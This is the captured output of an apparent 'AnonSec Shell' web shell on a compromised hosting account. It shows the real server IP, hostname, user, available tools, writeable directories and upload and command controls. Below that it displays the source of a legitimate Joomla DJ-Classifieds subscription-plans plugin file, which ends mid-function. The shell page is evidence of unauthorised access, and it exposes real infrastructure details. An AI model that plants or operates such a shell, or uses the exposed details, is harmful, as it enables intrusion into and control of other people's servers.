AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/plats-individuels/plugins/djclassifieds/plans/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/plats-individuels/plugins/djclassifieds/plans//plans.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email: contact@dj-extensions.com
 */

defined ( '_JEXEC' ) or die ( 'Restricted access' );

class plgDJClassifiedsPlans extends JPlugin
{
	public function __construct(& $subject, $config) {
		parent::__construct ( $subject, $config );
		$this->loadLanguage ();
	}

	static function getItemSub($item_id)
	{
		$db = JFactory::getDBO();
		$query = "SELECT s.* "
				."FROM #__djcf_plans_subscr_items si "
				."INNER JOIN #__djcf_plans_subscr s ON si.subscr_id=s.id "
				."WHERE si.item_id=".$item_id." "
				."LIMIT 1";
		$db->setQuery($query);
		$sub = $db->loadObject();

		return $sub;
	}

	static function getUserActiveSubs($user_id)
	{
		$db = JFactory::getDBO();
		$date_now = JFactory::getDate()->toSQL();
		$query  = "SELECT s.*, p.name as plan_name "
				."FROM #__djcf_plans_subscr s "
				."INNER JOIN #__djcf_plans p ON p.id=s.plan_id "
				."WHERE s.user_id=".$user_id." AND (".self::_getActiveWhere().") "
				."ORDER BY s.date_start DESC";
		$db->setQuery($query);
		$subs = $db->loadObjectList();

		return $subs;
	}

	static function getUserSub($user_id, $subscr_id)
	{
		$db = JFactory::getDBO();
		$query  = "SELECT s.*, p.name, p.description "
				  ."FROM #__djcf_plans_subscr s "
				  ."INNER JOIN #__djcf_plans p ON p.id=s.plan_id "
				  ."WHERE s.user_id=".$user_id." AND s.id=".$subscr_id;
		$db->setQuery($query);
		$sub = $db->loadObject();

		return $sub;
	}

	function getAllowedCats($cat_id, $par)
	{
		$db = JFactory::getDBO();

		$a_cats_full = array();
		$a_cats = is_array($cat_id) ? $cat_id : array($cat_id);
		foreach($a_cats as $a_cat_id){
			$a_cat_children = array_map(function($v){
				return $v->id;
			}, DJClassifiedsCategory::getSubCat($a_cat_id, '1'));
			$a_cat_parents = array_map(function($v){
				return $v->id;
			}, DJClassifiedsCategory::getParentPath('1', $a_cat_id));
			$a_cats_full = array_merge($a_cats_full, $a_cat_children, $a_cat_parents);
		}
		
		$query = "SELECT * FROM #__djcf_categories WHERE published=1 AND id IN (".implode(',', $a_cats_full).") ORDER BY parent_id, ".$par->get('cat_ordering', 'ordering');
		$db->setQuery($query);
		$categories = $db->loadObjectList('id');

		return $categories;
	}

	function _overrideParams($plan_params, &$par)
	{
		$par->set('points',0);
		$par->set('show_video',$plan_params->video);
		$par->set('show_website',$plan_params->website);
		$par->set('buynow',$plan_params->buynow);
		$par->set('offer',isset($plan_params->offer) ? $plan_params->offer : '0');
		$par->set('auctions',$plan_params->auction);
		$par->set('show_types',isset($plan_params->types) ? $plan_params->types : '0');
		$par->set('img_limit',$plan_params->img_limit);
		$par->set('img_free_limit',-1);
		
		if($plan_params->chars_limit){
			$par->set('pay_desc_chars_limit',$plan_params->chars_limit);
			$par->set('pay_desc_chars_free_limit',$plan_params->chars_limit);
		}else{
			$par->set('pay_desc_chars','0');
		}
		
		if(isset($plan_params->duration)){
			if($plan_params->duration == '-1'){
				$par->set('durations_list','0');
				$par->set('exp_days','-1');
			}else{
				$db = JFactory::getDBO();
				$query = "SELECT * FROM #__djcf_days WHERE published=1 AND id=".$plan_params->duration;
				$db->setQuery($query);
				$duration = $db->loadObject();
				if($duration){
					$par->set('durations_list','0');
					$par->set('exp_days',$duration->days);
				}
			}
		}

		if(!empty($plan_params->promotions)){
			$par->set('promotion','1');
		}
			
		$par->set('showauthor',$plan_params->user_profile_ad);
		
		if(isset($plan_params->ask_seller)){
			if($plan_params->ask_seller == '1'){
				if($par->get('ask_seller','0') == '0'){
					$par->set('ask_seller','1');
				}
			}else{
				$par->set('ask_seller','0');
			}
		}
	}

	function _overridePromotions($plan_params, &$promotions)
	{
		if($this->params->get('ps_paid_proms', 0)){
			if(!empty($plan_params->promotions)){
				foreach($promotions as $prom){
					if(in_array($prom->id, $plan_params->promotions)){
						$prom->price = 0;
						$prom->points = 0;
						foreach($prom->prices as $pp){
							$pp->price = 0;
							$pp->points = 0;
						}
					}
				}
			}
		}else{
			$new_promotions = array();
			if(!empty($plan_params->promotions)){
				foreach($promotions as $prom){
					if(in_array($prom->id, $plan_params->promotions)){
						$prom->price = 0;
						$prom->points = 0;
						foreach($prom->prices as $pp){
							$pp->price = 0;
							$pp->points = 0;
						}
						$new_promotions[]  = $prom;
					}
				}
			}
			$promotions = $new_promotions;
		}
		
		if(!empty($plan_params->hidden_promotions)){
			foreach($promotions as $key => $prom){
				if(in_array($prom->id, $plan_params->hidden_promotions)){
					unset($promotions[$key]);
				}
			}
		}
	}

	function onAdminPrepareSidebar()
	{
		$result = array (
			array (
				'label' => JText::_ ( 'COM_DJCLASSIFIEDS_SUBSCRIPTION_PLANS' ),
				'link' => 'index.php?option=com_djclassifieds&view=plans',
				'view' => 'plans' 
			) , 
			array (
				'label' => JText::_ ( 'COM_DJCLASSIFIEDS_USER_SUBSCRIPTION_PLANS' ),
				'link' => 'index.php?option=com_djclassifieds&view=usersplans',
				'view' => 'usersplans'
			)
		);
		return $result;
	}

	function onAdminPrepareItemEdit(&$item, &$par)
	{
		if($item->id){
			$item_sub = self::getItemSub($item->id);
			if($item_sub){
				$registry = new JRegistry();
				$registry->loadString($item_sub->plan_params);
				$plan_params = $registry->toObject();

				$this->_overrideParams($plan_params, $par);
			}
		}
	}
	
	function onBeforeItemEditForm(&$id, &$par, &$subscr_id, $token)
	{
		$app = JFactory::getApplication();
		$db	= JFactory::getDBO();
		$user = JFactory::getUser();

		$copy_id = $app->input->getInt('copy', 0);

		$item_sub = self::getItemSub($id);
		if($item_sub){
			$subscr_id = $item_sub->id;
		}
	
		if(!$subscr_id && !$id && $user->id){
			$query = "SELECT s.id "
					."FROM #__djcf_plans_subscr s "
					."INNER JOIN #__djcf_plans p ON s.plan_id=p.id "
					."WHERE s.user_id=".$user->id." AND (".self::_getActiveWhere().")";
			$db->setQuery($query);
			$user_plans = $db->loadObjectList();
			if($user_plans){
				if($this->params->get('ps_plan_autoselect',0)==1){
					$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('additem').($copy_id ? '&copy='.$copy_id : '').'&subscr_id='.$user_plans[0]->id, false));
				}else if($this->params->get('ps_plan_required',0)==1){
					$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_CHOOSE_YOUR_SUBSCRIPTION_PLAN'), 'notice');
					$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('userplans').($copy_id ? '&copy='.$copy_id : ''), false));
				}
			}elseif($this->params->get('ps_plan_required',0)==1){
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_PLEASE_BUY_SUBSCRIPTION_PLAN'), 'notice');
				$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('plans'), false));
			}
		}

		$plan = self::getUserSub($user->id, $subscr_id);

		if($plan && ($item_sub || ($plan->adverts_available && ($plan->date_exp == '0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL())))){
			$registry = new JRegistry();
			$registry->loadString($plan->plan_params);
			$plan_params = $registry->toObject();

			$this->_overrideParams($plan_params, $par);
		}
	}
	
	function onItemEditForm(&$item, &$par, $subscr_id, &$promotions, &$categories, &$types)
	{		
		$app = JFactory::getApplication();			
		$user = JFactory::getUser();			
		
		$userplans_link = DJClassifiedsSEO::getViewUri('userplans');

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);

			if($plan){
				if($plan->adverts_available || $item->id){
					if($plan->date_exp == '0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL() || $item->id){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();

						if(!empty($plan_params->root_cat_id)){
							$categories = $this->getAllowedCats($plan_params->root_cat_id, $par);
						}

						foreach($categories as $key => $cat){
							if($plan_params->pay_categories){
								$categories[$key]->price = 0;
								$categories[$key]->points = 0;
							}elseif(!DJClassifiedsPayment::isFree($categories[$key]->price, $categories[$key]->points, $par)){
								unset($categories[$key]);
							}
						}
						
						$this->_overridePromotions($plan_params, $promotions);

						if(!$item->id){
							foreach($promotions as $prom){
								if(!empty($prom->prices) && is_array($prom->prices)){
									$last_price_i = array_key_last($prom->prices);
									if(!$prom->prices[$last_price_i]->price && !$prom->prices[$last_price_i]->points){
										$prom->prices[array_key_last($prom->prices)]->selected = true;
									}
								}
							}
						}
						
						if($plan_params->types){
							if($par->get('types_display_layout','0')==1){
								$types = DJClassifiedsType::getTypesLabels(false);
							}else{
								$types = DJClassifiedsType::getTypesSelect(false);
							}
						}

					}else{
						$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_SUBSCRIPTION_PLAN_NOT_ACTIVE'), 'warning');
						$app->redirect(JRoute::_($userplans_link, false));
					}
				}else{
					$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_ADVERTS_LIMIT_FOR_THIS_PLAN_REACHED'), 'warning');
					$app->redirect(JRoute::_($userplans_link, false));
				}
			}else{
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_WRONG_SUBSCRIPTION_PLAN'), 'warning');
				$app->redirect(JRoute::_($userplans_link, false));
			}
		}
	}

	function onItemEditFormTitle(&$item, &$par, $subscr_id)
	{
		$app = JFactory::getApplication();
		$db	= JFactory::getDBO();
		$user = JFactory::getUser();
		$content = '';
		
		$userplans_link = DJClassifiedsSEO::getViewUri('userplans');
		
		if(!$item->id && $user->id){
			if($subscr_id){
				$query = "SELECT s.*, p.name, p.description "
						."FROM #__djcf_plans_subscr s "
						."INNER JOIN #__djcf_plans p ON s.plan_id=p.id "
						."WHERE s.user_id=".$user->id." AND s.id=".$subscr_id;
				$db->setQuery($query);
				$plan = $db->loadObject();
				
				if($plan){
					$copy_id = $app->input->getInt('copy', 0);
					$user_plans = self::getUserActiveSubs($user->id);

					$links_arr = array();
					if(count($user_plans) > 1){
						$links_arr[] = '<a href="'.$userplans_link.($copy_id ? '&copy='.$copy_id : '').'">'.JText::_('COM_DJCLASSIFIEDS_CHANGE_PLAN').'</a>';
					}
					if(!($this->params->get('ps_plan_required', '0') == '1' || ($this->params->get('ps_plan_autoselect', '0') == '1' && $user_plans))){
						$links_arr[] = '<a href="'.DJClassifiedsSEO::getViewUri('additem').($copy_id ? '&copy='.$copy_id : '').'">'.JText::_('PLG_DJCLASSIFIEDS_PLANS_DONT_USE_ANY_PLAN').'</a>';
					}

					$content = DJClassifiedsTheme::renderLayout('form', array(
						'header_text' => JText::sprintf('PLG_DJCLASSIFIEDS_PLANS_NEW_ADVERT_IN_PLAN_N', $plan->name),
						'links_arr' => $links_arr,
						'desc' => $plan->description,
						'par' => $par,
						'params' => $this->params
					), 'plugin', $this->_name);
				}
			}else{
				$user_plans = self::getUserActiveSubs($user->id);

				if($user_plans){
					$copy_id = $app->input->getInt('copy', 0);

					$content = DJClassifiedsTheme::renderLayout('form', array(
						'header_text' => JText::sprintf('PLG_DJCLASSIFIEDS_PLANS_YOU_HAVE_ACTIVE_PLAN_GO_TO_N', '<a href="'.$userplans_link.($copy_id ? '&copy='.$copy_id : '').'">'.JText::_('COM_DJCLASSIFIEDS_YOUR_SUBSCRIPTION_PLANS').'</a>'),
						'par' => $par,
						'params' => $this->params
					), 'plugin', $this->_name);
				}
			}
		}else if($item->id){
			$item_sub = self::getItemSub($item->id);
			if($item_sub){
				$registry = new JRegistry();
				$registry->loadString($item_sub->plan_params);
				$plan_params = $registry->toObject();

				$this->_overrideParams($plan_params, $par);
			}
		}
		
		return $content;
	}
	
	function onItemEditFormRows($item, $par, $subscr_id)
	{
		$input = '<input type="hidden" name="subscr_id" value="'.$subscr_id.'" />';
		return $input;
	}

	function onBeforeDJClassifiedsItemEditGetCategorySelect($id, &$show_paid, &$show_price, &$par)
	{
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id){
			$query = "SELECT * FROM #__djcf_plans_subscr WHERE user_id=".$user->id." AND id=".$subscr_id;
			$db->setQuery($query);
			$plan = $db->loadObject();
			if($plan){
				$registry = new JRegistry();
				$registry->loadString($plan->plan_params);
				$plan_params = $registry->toObject();
				if($plan_params->pay_categories){
					$show_paid = 1;
					$show_price = 0;
				}else{
					$show_paid = 0;
					$show_price = 0;
				}
			}
		}
	}
	
	function onAfterInitialiseDJClassifiedsSaveAdvert(&$row, &$par)
	{
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);
		
		$userplans_link = DJClassifiedsSEO::getViewUri('userplans');
		
		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			
			if($plan){
				if($plan->adverts_available || $row->id){
					if($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL() || $row->id){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();

						$this->_overrideParams($plan_params, $par);
					}else{
						$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_SUBSCRIPTION_PLAN_NOT_ACTIVE'), 'warning');
						$app->redirect(JRoute::_($userplans_link, false));
					}
				}else{
					$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_ADVERTS_LIMIT_FOR_THIS_PLAN_REACHED'), 'warning');
					$app->redirect(JRoute::_($userplans_link, false));
				}
			}else{
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_WRONG_SUBSCRIPTION_PLAN'), 'warning');
				$app->redirect(JRoute::_($userplans_link, false));
			}
		}
	}

	function onBeforeDJClassifiedsSaveAdvert(&$row, $is_new)
	{
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);
		
		if($row->new == '1' && $subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			
			if($plan){
				$registry = new JRegistry();
				$registry->loadString($plan->plan_params);
				$plan_params = $registry->toObject();

				if($plan_params->duration == '-1'){
					$row->date_exp = $plan->date_exp;
				}
			}
		}
	}
	
	function onBeforePaymentsDJClassifiedsSaveAdvert(&$row, $is_new, &$cat, &$promotions, &$type_price)
	{
		$app = JFactory::getApplication();
		$db	= JFactory::getDBO();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if(!$is_new){
			$query = "SELECT subscr_id "
					."FROM #__djcf_plans_subscr_items "
					."WHERE item_id=".$row->id;
			$db->setQuery($query);
			$subscr_id = $db->loadResult();
		}

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan){			
				if($plan->adverts_available || $row->id){						
					if($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL()){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();

						if($plan_params->pay_categories){						
							$cat->price = 0;						
						}
						if($plan_params->types){
							$type_price = 0;
						}
						$this->_overridePromotions($plan_params, $promotions);
					}
				}
			}	
		}
	}
	
	function onAfterDJClassifiedsSaveAdvert(&$row, $is_new)
	{
		$app = JFactory::getApplication();
		$db	= JFactory::getDBO();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id && $is_new){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan){
				if($plan->adverts_available){
					if($plan->date_exp == '0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL()){
						if(!$row->new_draft){
							$query = "INSERT INTO #__djcf_plans_subscr_items (`subscr_id`,`item_id`,`item_name`) " 
									." VALUES ('".$subscr_id."','".$row->id."','".addslashes($row->name)."') ";
							$db->setQuery($query);
							$db->execute();
						
							$query = "UPDATE #__djcf_plans_subscr SET adverts_available = adverts_available-1  "
							." WHERE id=".$subscr_id;
							$db->setQuery($query);
							$db->execute();
						}else{
							$query = "INSERT INTO #__djcf_plans_subscr_items (`subscr_id`,`item_id`,`item_name`,`draft`) " 
							." VALUES ('".$subscr_id."','".$row->id."','".addslashes($row->name)."',1) ";
							$db->setQuery($query);
							$db->execute();
						}
					}
				}
			}
		}else{
			$query = "SELECT new_draft FROM #__djcf_items WHERE id=".$row->id;
			$db->setQuery($query);
			$new_draft = $db->loadResult();
			if(!$new_draft){
				$query = "SELECT * FROM #__djcf_plans_subscr_items WHERE item_id=".$row->id;
				$db->setQuery($query);
				$sub_item = $db->loadObject();
				if($sub_item && $sub_item->draft){
					$query = "UPDATE #__djcf_plans_subscr SET adverts_available=adverts_available-1 WHERE id=".$sub_item->subscr_id;
					$db->setQuery($query);
					$db->execute();

					$query = "UPDATE #__djcf_plans_subscr_items SET draft=0 WHERE item_id=".$sub_item->item_id;
					$db->setQuery($query);
					$db->execute();
				}
			}
		}
	}

	function onAfterDJClassifiedsPublishAdvert(&$item)
	{
		$db	= JFactory::getDBO();

		if($item->new_draft){
			$query = "SELECT * FROM #__djcf_plans_subscr_items WHERE item_id=".$item->id;
			$db->setQuery($query);
			$sub_item = $db->loadObject();
			if($sub_item && $sub_item->draft){
				$query = "UPDATE #__djcf_plans_subscr SET adverts_available=adverts_available-1 WHERE id=".$sub_item->subscr_id;
				$db->setQuery($query);
				$db->execute();

				$query = "UPDATE #__djcf_plans_subscr_items SET draft=0 WHERE item_id=".$sub_item->item_id;
				$db->setQuery($query);
				$db->execute();
			}
		}
	}
	
	function onDJClassifiedsPrepareItem(&$item, &$par, $context = 'item')
	{
		$plan = self::getItemSub($item->id);
		
		if($plan){
			$registry = new JRegistry();
			$registry->loadString($plan->plan_params);
			$plan_params = $registry->toObject();

			$this->_overrideParams($plan_params, $par);			
		}
	}	
	
	function onDJClassifiedsAdminDisplay()
	{
		if($this->params->get('ps_exp_check_trigger', '3') == '1'){
			$this->_expiredPlansCheck();
		}
	}
	function onBeforeDJClassifiedsFrontDisplay()
	{
		if($this->params->get('ps_exp_check_trigger', '3') == '2'){
			$this->_expiredPlansCheck();
		}
	}
	function onAfterDJClassifiedsCronNotifications()
	{
		if($this->params->get('ps_exp_check_trigger', '3') == '3'){
			$this->_expiredPlansCheck();
		}
	}
	function _expiredPlansCheck()
	{
		$db = JFactory::getDBO();
		$query = "SELECT ps.* "
				."FROM #__djcf_plans_subscr ps "
				."INNER JOIN #__djcf_plans p ON ps.plan_id=p.id "
				."WHERE ps.notify=0 AND (".self::_getExpiredWhere().")";
		$db->setQuery($query);
		$subs = $db->loadObjectList();
	
		if($subs){				
			$query = "SELECT * FROM #__djcf_plans";		
			$db->setQuery($query);
			$plans = $db->loadObjectList('id');
			
			foreach($subs as $sub){
				if(isset($plans[$sub->plan_id])){
					if(!empty($plans[$sub->plan_id]->groups_assignment)){
						foreach(explode(',', $plans[$sub->plan_id]->groups_assignment) as $ug){
							$query = "SELECT count(ps.id) "
									."FROM #__djcf_plans_subscr ps "
									."INNER JOIN #__djcf_plans p ON ps.plan_id=p.id "
									."WHERE ps.user_id=".$sub->user_id." AND CONCAT(',',p.groups_assignment,',') LIKE '%,".$ug.",%' AND (".self::_getActiveWhere().")";
							$db->setQuery($query);
							$ug_active_subs = $db->loadResult();
							if(!$ug_active_subs){ // deassign from user group only if the user group not set in any of the other user's active plans
								// JUserHelper::removeUserFromGroup($sub->user_id, $ug); // does not work for Super Users trigerred by cron
								$query = "DELETE FROM #__user_usergroup_map WHERE user_id=".$sub->user_id." AND group_id=".$ug;
								$db->setQuery($query);
								$db->execute();
							}
						}
					}

					if(!empty($plans[$sub->plan_id]->groups_assignment_exp)){
						foreach(explode(',', $plans[$sub->plan_id]->groups_assignment_exp) as $ug){
							JUserHelper::addUserToGroup($sub->user_id, $ug);
						}
					}
				}
				
				$query = "UPDATE #__djcf_plans_subscr SET notify=1 WHERE id=".$sub->id;
				$db->setQuery($query);
				$db->execute();
			}
		}

		$notify_days = $this->params->get('ps_notify_days', '0');
		if($notify_days){
			require_once(JPATH_ROOT.'/administrator/components/com_djclassifieds/lib/djnotify.php');
			DJClassifiedsNotify::notifyPlansExpired($notify_days);
		}
	}

	private static function _getActiveWhere()
	{
		require_once(JPATH_ROOT.'/components/com_djclassifieds/model.php');
		$djmodel = new DJClassifiedsModel();

		return $djmodel->getPlanActiveWhere();
	}
	
	private static function _getExpiredWhere()
	{
		require_once(JPATH_ROOT.'/components/com_djclassifieds/model.php');
		$djmodel = new DJClassifiedsModel();

		return $djmodel->getPlanExpiredWhere();
	}

	function onDJClassifiedsGetItemRenewSubscrID(&$item, &$par, $context)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$db = JFactory::getDBO();
		$query = "SELECT s.id "
				."FROM #__djcf_plans_subscr_items si "
				."INNER JOIN #__djcf_plans_subscr s ON si.subscr_id=s.id "
				."INNER JOIN #__djcf_plans p ON p.id=s.plan_id "
				."WHERE si.item_id=".$item->id." AND (".self::_getActiveWhere().") "
				."LIMIT 1";
		$db->setQuery($query);
		$subscr_id = $db->loadResult();

		return $subscr_id;
	}

	function onDJClassifiedsPrepareItemRenewForm(&$id, &$par)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan && $plan->adverts_available && ($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL())){
				$registry = new JRegistry();
				$registry->loadString($plan->plan_params);
				$plan_params = $registry->toObject();

				$this->_overrideParams($plan_params, $par);
			}
		}
	}

	function onDJClassifiedsItemRenewForm(&$item, &$par, &$promotions, &$category, &$types, &$days)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		$renewitem_link = DJClassifiedsSEO::getViewUri('renewitem').'&id='.$item->id;
		$useritems_link = DJClassifiedsSEO::getViewUri('useritems');

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan){
				if($plan->adverts_available){
					if($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL()){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();

						if($plan_params->pay_categories){
							$category->price = 0;
							$category->points = 0;
						}
	
						$this->_overridePromotions($plan_params, $promotions);

						foreach($promotions as $prom){
							if(!empty($prom->prices) && is_array($prom->prices)){
								$last_price_i = array_key_last($prom->prices);
								if(!$prom->prices[$last_price_i]->price && !$prom->prices[$last_price_i]->points){
									$prom->prices[array_key_last($prom->prices)]->selected = true;
								}
							}
						}
						
						if(!empty($plan_params->types)){
							$types = $par->get('types_display_layout','0') == '1' ? DJClassifiedsType::getTypesLabels(false) : DJClassifiedsType::getTypesSelect(false);
						}
					}else{
						$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_SUBSCRIPTION_PLAN_NOT_ACTIVE'), 'warning');
						$app->redirect(JRoute::_($this->params->get('ps_renew', '0') == '1' ? $renewitem_link : $useritems_link, false));
					}
				}else{
					$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_ADVERTS_LIMIT_FOR_THIS_PLAN_REACHED'), 'warning');
					$app->redirect(JRoute::_($this->params->get('ps_renew', '0') == '1' ? $renewitem_link : $useritems_link, false));
				}
			}else{
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_WRONG_SUBSCRIPTION_PLAN'), 'warning');
				$app->redirect(JRoute::_($this->params->get('ps_renew', '0') == '1' ? $renewitem_link : $useritems_link, false));
			}
		}elseif($this->params->get('ps_renew', '0')=='2'){ // plan required for renew
			$user_plans = self::getUserActiveSubs($item->user_id);
			if($user_plans){
				$subscr_id = $user_plans[0]->id;
			}

			if($subscr_id){
				$app->redirect(JRoute::_($renewitem_link.'&subscr_id='.$subscr_id, false));
			}else{
				$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_PLAN_REQUIRED_TO_RENEW'), 'warning');
				$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('plans'), false));
			}
		}
	}

	function onDJClassifiedsItemRenewFormTitle(&$item, &$par)
	{
		$user = JFactory::getUser();
		$app = JFactory::getApplication();
		$content = '';

		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$subscr_id = $app->input->getInt('subscr_id', 0);
		$user_active_subs = self::getUserActiveSubs($user->id);

		if(!$user_active_subs){

			$content = DJClassifiedsTheme::renderLayout('form', array(
				'header_text' => JText::sprintf('PLG_DJCLASSIFIEDS_PLANS_RENEW_YOU_HAVE_NO_ACTIVE_PLANS_GO_TO_N', '<a href="'.DJClassifiedsSEO::getViewUri('plans').'">'.JText::_('COM_DJCLASSIFIEDS_SUBSCRIPTION_PLANS').'</a>'),
				'renew' => true,
				'par' => $par,
				'params' => $this->params
			), 'plugin', $this->_name);
		}else{
			$links_arr = array();

			foreach($user_active_subs as $sub){
				if($subscr_id && $sub->id == $subscr_id){
					$plan_name = $sub->plan_name;
				}else{
					$links_arr[] = '<a href="'.DJClassifiedsSEO::getViewUri('renewitem').'&id='.$item->id.'&subscr_id='.$sub->id.'">'.JText::sprintf('PLG_DJCLASSIFIEDS_PLANS_USE_PLAN_N', $sub->plan_name).'</a>';
				}
			}
			if($subscr_id && $this->params->get('ps_renew', '0') != '2'){
				$links_arr[] = '<a href="'.DJClassifiedsSEO::getViewUri('renewitem').'&id='.$item->id.'">'.JText::_('PLG_DJCLASSIFIEDS_PLANS_DONT_USE_ANY_PLAN').'</a>';
			}

			if($links_arr){
				$content = DJClassifiedsTheme::renderLayout('form', array(
					'header_text' => $subscr_id ? JText::sprintf('PLG_DJCLASSIFIEDS_PLANS_RENEW_FROM_PLAN_N', $plan_name) : JText::_('PLG_DJCLASSIFIEDS_PLANS_RENEW_YOU_HAVE_ACTIVE_SUBSCRIPTION_PLAN'),
					'links_arr' => $links_arr,
					'renew' => true,
					'par' => $par,
					'params' => $this->params
				), 'plugin', $this->_name);
			}
		}

		return $content;
	}

	function onDJClassifiedsItemRenewFormRows($item, $par)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$app = JFactory::getApplication();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		return $this->onItemEditFormRows($item, $par, $subscr_id);
	}

	function onAfterInitialiseDJClassifiedsRenewAdvert(&$row, &$par)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);
		$userplans_link = DJClassifiedsSEO::getViewUri('userplans');
		
		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);

			if($plan){
				if($plan->adverts_available){
					if($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL()){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();

						$this->_overrideParams($plan_params, $par);
					}else{
						$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_SUBSCRIPTION_PLAN_NOT_ACTIVE'), 'warning');
						$app->redirect(JRoute::_($userplans_link, false));
					}
				}else{
					$app->enqueueMessage(JText::_('PLG_DJCLASSIFIEDS_PLANS_ADVERTS_LIMIT_FOR_THIS_PLAN_REACHED'), 'warning');
					$app->redirect(JRoute::_($userplans_link, false));
				}
			}else{
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_WRONG_SUBSCRIPTION_PLAN'), 'warning');
				$app->redirect(JRoute::_($userplans_link, false));
			}
		}
	}

	function onBeforePaymentsDJClassifiedsRenewAdvert(&$row, &$cat, &$promotions, &$type_price, &$duration_price, &$images_to_pay, &$chars_to_pay)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}

		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan){			
				if($plan->adverts_available){						
					if($plan->date_exp=='0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL()){
						$registry = new JRegistry();
						$registry->loadString($plan->plan_params);
						$plan_params = $registry->toObject();
						if($plan_params->pay_categories){						
							$cat->price = 0;						
						}
						
						if($plan_params->types){
							$type_price = 0;
						}

						$this->_overridePromotions($plan_params, $promotions);
					}
				}
			}
		}
	}

	function onBeforeDJClassifiedsRenewAdvert(&$row, &$par)
	{
		if($this->params->get('ps_renew', '0') == '0'){
			return;
		}
		
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$subscr_id = $app->input->getInt('subscr_id', 0);

		if($subscr_id){
			$plan = self::getUserSub($user->id, $subscr_id);
			if($plan && $plan->adverts_available && ($plan->date_exp == '0000-00-00 00:00:00' || $plan->date_exp > JFactory::getDate()->toSQL())){
				$registry = new JRegistry();
